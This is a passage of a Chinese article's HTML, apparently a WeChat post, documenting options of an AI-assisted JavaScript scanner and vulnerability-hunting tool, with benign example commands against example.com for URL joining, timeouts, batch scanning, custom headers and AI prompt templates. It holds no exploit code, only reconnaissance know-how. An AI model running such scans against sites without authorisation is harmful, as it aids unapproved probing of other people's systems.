src="https://wechat2rss.xlab.app/img-proxy/?k=6c1bdf87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5J9ygu5kD0pnibCU552HqDEnoSVWicwt2VeiakSjJXJB8QKGSoPicFBZe4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">自定义URL拼接（--url）</span></strong><span leaf=""> 对于需要特定拼接规则的站点（如</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">/#/</span></code><span leaf="">路径），使用</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">--url</span></code><span leaf="">参数自定义拼接逻辑，确保路径请求准确无误。</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">示例</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciabore7uQzxQUqxr94QF1S3752orOzNdia6arCxe8o6DIicFiaJRKYHfQvhLVnpia2PhF38LjPoseziavm/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">roorgoddess --url <a href="https://example.com/" target="_blank">https://example.com/</a></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#/</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">工具将根据指定规则拼接路径并返回正确响应。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037798" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.47129629629629627" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1fa241de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5FekLXtln9YibiaGD702CAz0JwUEC1aU7W5FvWWnsMRxCQ3gMibKgVI6Iw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">设置请求超时（--time）</span></strong><span leaf=""> 通过</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">--time=x</span></code><span leaf="">设置请求超时时间（单位：秒），避免因目标站点响应过慢导致扫描卡顿。</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">示例</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciabore7uQzxQUqxr94QF1S3752orOzNdia6arCxe8o6DIicFiaJRKYHfQvhLVnpia2PhF38LjPoseziavm/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">roorgoddess --url <a href="https://example.com" target="_blank">https://example.com</a> --time=5</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037794" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.3768518518518518" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b5e89904&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd55mrC09HNJbMLPSY8TjeWT8ZMCLEC0PjuB2l0gbGNprLd8FUjmCGXCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">批量URL扫描（url_batch）</span></strong><span leaf=""> 支持批量扫描多个URL，只需将目标URL列表保存为</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.txt</span></code><span leaf="">文件，每行一个URL，然后运行工具即可自动扫描，无需逐个手动输入。</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">示例</span></strong><span leaf="">：</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">创建</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">urls.txt</span></code><span leaf="">，内容如下：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciabore7uQzxQUqxr94QF1S3752orOzNdia6arCxe8o6DIicFiaJRKYHfQvhLVnpia2PhF38LjPoseziavm/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""><a href="https://example1.com" target="_blank">https://example1.com</a></span><span leaf=""><br/></span><span leaf=""><a href="https://example2.com" target="_blank">https://example2.com</a></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">运行命令：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciabore7uQzxQUqxr94QF1S3752orOzNdia6arCxe8o6DIicFiaJRKYHfQvhLVnpia2PhF38LjPoseziavm/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">roorgoddess --url_batch urls.txt</span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">自定义请求头（headers）</span></strong><span leaf=""> 支持自定义HTTP请求头，修改User-Agent、Cookie等信息，适配复杂场景。格式保持标准，仅需更新对应字段数据。</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">示例</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciabore7uQzxQUqxr94QF1S3752orOzNdia6arCxe8o6DIicFiaJRKYHfQvhLVnpia2PhF38LjPoseziavm/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">roorgoddess --url <a href="https://example.com" target="_blank">https://example.com</a> --headers </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;User-Agent: Mozilla/5.0&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI问话设置</span></strong><span leaf=""> 工具支持自定义AI问话机制，用于优化JS代码分析和漏洞提示。用户可修改AI问话模板，但需注意避免破坏路径提取功能。若删除问话配置，工具会自动生成默认问话机制。</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">示例</span></strong><span leaf="">：修改AI问话模板后，运行</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciabore7uQzxQUqxr94QF1S3752orOzNdia6arCxe8o6DIicFiaJRKYHfQvhLVnpia2PhF38LjPoseziavm/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">roorgoddess --url <a href="https://example.com" target="_blank">https://example.com</a></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">以应用新设置。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 